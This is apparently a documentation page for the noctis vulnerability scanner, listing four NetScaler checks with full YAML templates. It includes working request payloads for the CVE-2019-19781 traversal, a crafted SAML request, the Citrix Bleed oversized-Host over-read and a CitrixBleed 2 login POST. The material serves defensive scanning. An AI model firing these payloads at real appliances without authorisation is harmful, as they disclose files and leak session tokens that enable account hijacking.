NetScaler — 4 vulnerability checks
noctis ships 4 vulnerability checks for NetScaler, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Citrix ADC / NetScaler Gateway Directory Traversal
| CVE | CVE-2019-19781 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/netscaler/CVE-2019-19781.yaml |
Tests Citrix ADC / NetScaler Gateway for the unauthenticated directory traversal that reaches the internal /vpns directory via /vpn/../. Confirms by reading cfg/smb.conf and matching the "[global]" section header on a 200 response.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /vpn/../vpns/cfg/smb.conf HTTP/1.0 - Checks
smb_resp.bannerforHTTP/1\.[01] 200[\s\S]*\[global\]→ finding QoD 75: Directory traversal confirmed — /vpn/../vpns/cfg/smb.conf disclosed on 200 response: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-19781
- https://github.com/trustedsec/cve-2019-19781
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-19781.yaml
Feed source — tests/vulnerabilities/netscaler/CVE-2019-19781.yaml
# Citrix ADC / NetScaler Gateway Directory Traversal — CVE-2019-19781
#
# Citrix ADC (NetScaler ADC), Gateway and SD-WAN WANOP appliances expose a
# path-traversal flaw: a request to /vpn/../vpns/<path> escapes the restricted
# /vpn handler and reaches the internal /vpns directory, allowing an
# unauthenticated attacker to read configuration files (and, chained with a
# template write, achieve RCE). This is CISA KEV and was mass-exploited by
# ransomware operators.
#
# Detection (safe, non-intrusive — mirrors the Nuclei template):
# GET /vpn/../vpns/cfg/smb.conf
# A vulnerable appliance returns HTTP 200 with the smb.conf contents
# (containing the "[global]" section header). A patched appliance rejects
# the traversal (403/404) and the file is not disclosed.
#
# tcp_connect is REQUIRED: reqwest normalises the "../" segment away before
# sending, which destroys the traversal payload. Raw TCP preserves it verbatim.
#
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-19781
# https://github.com/trustedsec/cve-2019-19781
# https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-19781.yaml
uid: 7b3e9d1a-8c42-4f6b-a5d0-2e9f14c70b83
name: "Citrix ADC / NetScaler Gateway Directory Traversal (CVE-2019-19781)"
description: |
Tests Citrix ADC / NetScaler Gateway for the unauthenticated directory
traversal that reaches the internal /vpns directory via /vpn/../. Confirms
by reading cfg/smb.conf and matching the "[global]" section header on a
200 response.
cves: [CVE-2019-19781]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: file-read
tags: [citrix, netscaler, adc, gateway, path-traversal, file-read, kev, ransomware]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-19781"
- "https://github.com/trustedsec/cve-2019-19781"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-19781.yaml"
steps:
# Raw TCP request preserves the "../" traversal that reqwest would normalise.
# For https services, tcp_connect auto-wraps TLS (scheme from matched service).
- id: traversal-probe
action: tcp_connect
port: "{{port}}"
send: "GET /vpn/../vpns/cfg/smb.conf HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: smb_resp
# Require both a 200 status line and the smb.conf "[global]" section header
# in the same raw response — proves the restricted file was disclosed.
- id: smbconf-match
action: match
source: smb_resp.banner
pattern: "HTTP/1\\.[01] 200[\\s\\S]*\\[global\\]"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Directory traversal confirmed — /vpn/../vpns/cfg/smb.conf disclosed on 200 response: {{smb_resp.banner}}"
stop: trueCitrix NetScaler SAML IDP Memory Overread
| CVE | CVE-2026-3055 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/netscaler/CVE-2026-3055.yaml |
Tests for CVE-2026-3055: NetScaler ADC/Gateway before patched versions reflects internal session memory via the NSC_TASS cookie when a crafted SAML AuthnRequest is sent to /saml/login. The base64-decoded cookie value contains wctx= state data, confirming the memory overread.
How noctis detects it
- HTTP(S) request
POST /saml/loginwith a crafted body - Checks
saml_resp.headersforNSC_TASS= - Checks
saml_resp.headersford2N0eD0→ finding QoD 75: NetScaler SAML memory overread confirmed — NSC_TASS cookie base64 contains wctx= session data (CVE-2026-3055)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2026-3055
- https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696300
- https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/
Feed source — tests/vulnerabilities/netscaler/CVE-2026-3055.yaml
# Citrix NetScaler SAML IDP Memory Overread — CVE-2026-3055
#
# NetScaler ADC and Gateway configured as a SAML Identity Provider (IDP)
# fail to validate the size/bounds of the SAMLRequest parameter in
# /saml/login before processing it. A crafted AuthnRequest triggers a
# memory overread; the server reflects leaked session context in the
# NSC_TASS Set-Cookie header whose base64-decoded value contains
# wctx= state parameters that should remain internal.
#
# Detection: POST /saml/login with a minimal AuthnRequest → 302 with
# NSC_TASS cookie whose base64 value contains "wctx=" (d2N0eD0) (QoD 75)
uid: 4662ccc0-b553-4e51-8cfb-c0ab10b44449
name: "Citrix NetScaler SAML IDP Memory Overread (CVE-2026-3055)"
description: |
Tests for CVE-2026-3055: NetScaler ADC/Gateway before patched versions
reflects internal session memory via the NSC_TASS cookie when a crafted
SAML AuthnRequest is sent to /saml/login. The base64-decoded cookie value
contains wctx= state data, confirming the memory overread.
cves: [CVE-2026-3055]
cvss: 9.8
severity: critical
category: exposure
confidence_base: 0.30
tags: [citrix, netscaler, saml, memory-overread, info-disclosure, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-3055"
- "https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696300"
- "https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/"
steps:
- id: init-vars
action: set_var
var_name: netscaler_detected
var_value: false
# POST a minimal SAML AuthnRequest — vuln servers return a 302 with
# an NSC_TASS cookie whose base64 value leaks wctx= session context
- id: saml-probe
action: http_request
method: POST
path: /saml/login
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
follow_redirects: false
headers:
Content-Type: "application/x-www-form-urlencoded"
body: 'SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iICANCklEPSJfMSINClZlcnNpb249IjIuMCIgUHJvdmlkZXJOYW1lPSJteSBwcm92aWRlciIgDQpEZXN0aW5hdGlvbj0iaHR0cDovL3dhdGNodG93ci9zYW1sLnBocCIgDQpQcm90b2NvbEJpbmRpbmc9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpiaW5kaW5nczpIVFRQLVBPU1QiIA0KPg0KICA8c2FtbDpJc3N1ZXIlMkJodHRwOi8vd2F0Y2h0b3dyL3NhbWwucGhwJTNDL3NhbWw6SXNzdWVyJTNFDQo8L3NhbWxwOkF1dGhuUmVxdWVzdD4lM0Q='
store_as: saml_resp
# Confirm the NSC_TASS cookie is present — marks this as a NetScaler SAML endpoint
- id: netscaler-identity
action: match
source: saml_resp.headers
pattern: "NSC_TASS="
condition: "saml_resp.status == 302"
on_match:
set_vars:
netscaler_detected: true
# d2N0eD0 is the base64 encoding of "wctx=" — its presence in the cookie
# value proves the server leaked internal session context (memory overread)
- id: memory-leak-confirm
action: match
source: saml_resp.headers
pattern: "d2N0eD0"
condition: "netscaler_detected == true && saml_resp.status == 302"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "NetScaler SAML memory overread confirmed — NSC_TASS cookie base64 contains wctx= session data (CVE-2026-3055)"Citrix NetScaler ADC/Gateway Session Token Memory Leak
| CVE | CVE-2023-4966 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/netscaler/CVE-2023-4966.yaml |
Tests Citrix NetScaler for the Citrix Bleed heap over-read. A raw TCP request with an oversized Host header (~24 KB) is sent to the OIDC well-known endpoint. On a vulnerable appliance, the response body contains residual heap memory including the NSC_AAAC session token terminator marker.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1 - Checks
leak_resp.bannerfor[a-f0-9]{100}45525d5f4f58455e445a4a42→ finding QoD 97: Citrix Bleed confirmed: NSC_AAAC session token marker found in oversized-Host response from /oauth/idp/.well-known/openid-configuration
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-4966
- https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
- https://github.com/Chocapikk/CVE-2023-4966
Feed source — tests/vulnerabilities/netscaler/CVE-2023-4966.yaml
# Citrix NetScaler ADC/Gateway Session Token Memory Leak — CVE-2023-4966
# "Citrix Bleed"
#
# The OIDC well-known endpoint on NetScaler ADC/Gateway is vulnerable to a
# buffer over-read. Sending an HTTP GET to /oauth/idp/.well-known/openid-
# configuration with an oversized Host header (~24 KB) causes the memory
# allocator to over-read a heap buffer; the excess bytes — which may contain
# in-flight NSC_AAAC session tokens — are included in the JSON response body.
# An attacker can steal authenticated sessions and bypass MFA without credentials.
# Exploited in the wild before patch by LockBit 3.0 and UNC5537.
#
# Detection (safe, two-step — mirrors Nuclei CVE-2023-4966):
# Step 1: Build a 24812-char Host header string via Rhai script (tcp_connect
# cannot use reqwest which would normalize/truncate long headers).
# Step 2: Send raw TCP GET with oversized Host; match leaked token marker
# pattern [a-f0-9]{100}45525d5f4f58455e445a4a42 in response body.
# QoD 97: presence of NSC_AAAC session token terminator in response confirms heap leak.
#
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2023-4966
# https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
# https://github.com/Chocapikk/CVE-2023-4966
#
uid: c9e7b3a2-1f5d-4a08-b6e4-2d0c9f3a7b1e
name: "Citrix NetScaler ADC/Gateway Session Token Memory Leak (CVE-2023-4966)"
description: |
Tests Citrix NetScaler for the Citrix Bleed heap over-read. A raw TCP request
with an oversized Host header (~24 KB) is sent to the OIDC well-known endpoint.
On a vulnerable appliance, the response body contains residual heap memory
including the NSC_AAAC session token terminator marker.
cves: [CVE-2023-4966]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.20
tags: [citrix, netscaler, adc, gateway, session-leak, memory-disclosure, kev, ransomware]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-4966"
- "https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966"
- "https://github.com/Chocapikk/CVE-2023-4966"
steps:
# Build the 24812-char Host string using Rhai's built-in pad() on a string.
# This avoids embedding a 24 KB literal in the YAML and bypasses reqwest's
# header normalisation that would truncate oversized values.
- id: build-host
action: script
code: |
let s = "";
s.pad(24812, 'a');
s
store_as: big_host
# Send raw HTTP/1.1 GET with the oversized Host header via tcp_connect.
# For https services, tcp_connect auto-wraps TLS (scheme from matched service).
# The real hostname goes in a custom header so the server can resolve it,
# while Host carries the oversized payload that triggers the heap over-read.
- id: bleed-probe
action: tcp_connect
port: "{{port}}"
send: "GET /oauth/idp/.well-known/openid-configuration HTTP/1.1\r\nxrnd: {{target_host}}\r\nHost: {{big_host}}\r\nConnection: close\r\n\r\n"
store_as: leak_resp
# Match the NSC_AAAC session token terminator pattern documented by Assetnote.
# 100 hex chars of leaked heap memory followed by the fixed token marker bytes.
- id: token-match
action: match
source: leak_resp.banner
pattern: "[a-f0-9]{100}45525d5f4f58455e445a4a42"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "Citrix Bleed confirmed: NSC_AAAC session token marker found in oversized-Host response from /oauth/idp/.well-known/openid-configuration"Citrix NetScaler CitrixBleed 2 Memory Disclosure — Session Token Leak
| CVE | CVE-2025-5777 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/netscaler/CVE-2025-5777.yaml |
Posts a login request whose body omits the value, and reports when NetScaler leaks uninitialised memory in the InitialValue field (CitrixBleed 2), which can expose session tokens.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /p/u/doAuthentication.do HTTP/1.0 - Checks
bleed_resp.bannerfor<InitialValue>[^<]{10,}</InitialValue>→ finding QoD 75: Citrix NetScaler memory disclosure confirmed — uninitialized memory leaked in InitialValue (CVE-2025-5777): …
Feed source — tests/vulnerabilities/netscaler/CVE-2025-5777.yaml
uid: 2b8f3d19-a4c7-4e51-b6f2-9e1c0d8a5f34
name: "Citrix NetScaler CitrixBleed 2 Memory Disclosure — Session Token Leak (CVE-2025-5777)"
description: "Posts a login request whose body omits the value, and reports when NetScaler leaks uninitialised memory in the InitialValue field (CitrixBleed 2), which can expose session tokens."
cves: [CVE-2025-5777]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.30
tags: [citrix, netscaler, adc, gateway, memory-disclosure, session-hijack, kev, pre-auth]
services: [http, https]
author: noctis
version: "1.0.0"
steps:
- id: bleed-probe
action: tcp_connect
port: "{{port}}"
send: "POST /p/u/doAuthentication.do HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nbleed_attack: N\r\nContent-Length: 5\r\n\r\nlogin"
store_as: bleed_resp
- id: bleed-match
action: match
source: bleed_resp.banner
pattern: "<InitialValue>[^<]{10,}</InitialValue>"
condition: "bleed_resp.connected"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Citrix NetScaler memory disclosure confirmed — uninitialized memory leaked in InitialValue (CVE-2025-5777): {{bleed_resp.banner}}"
stop: true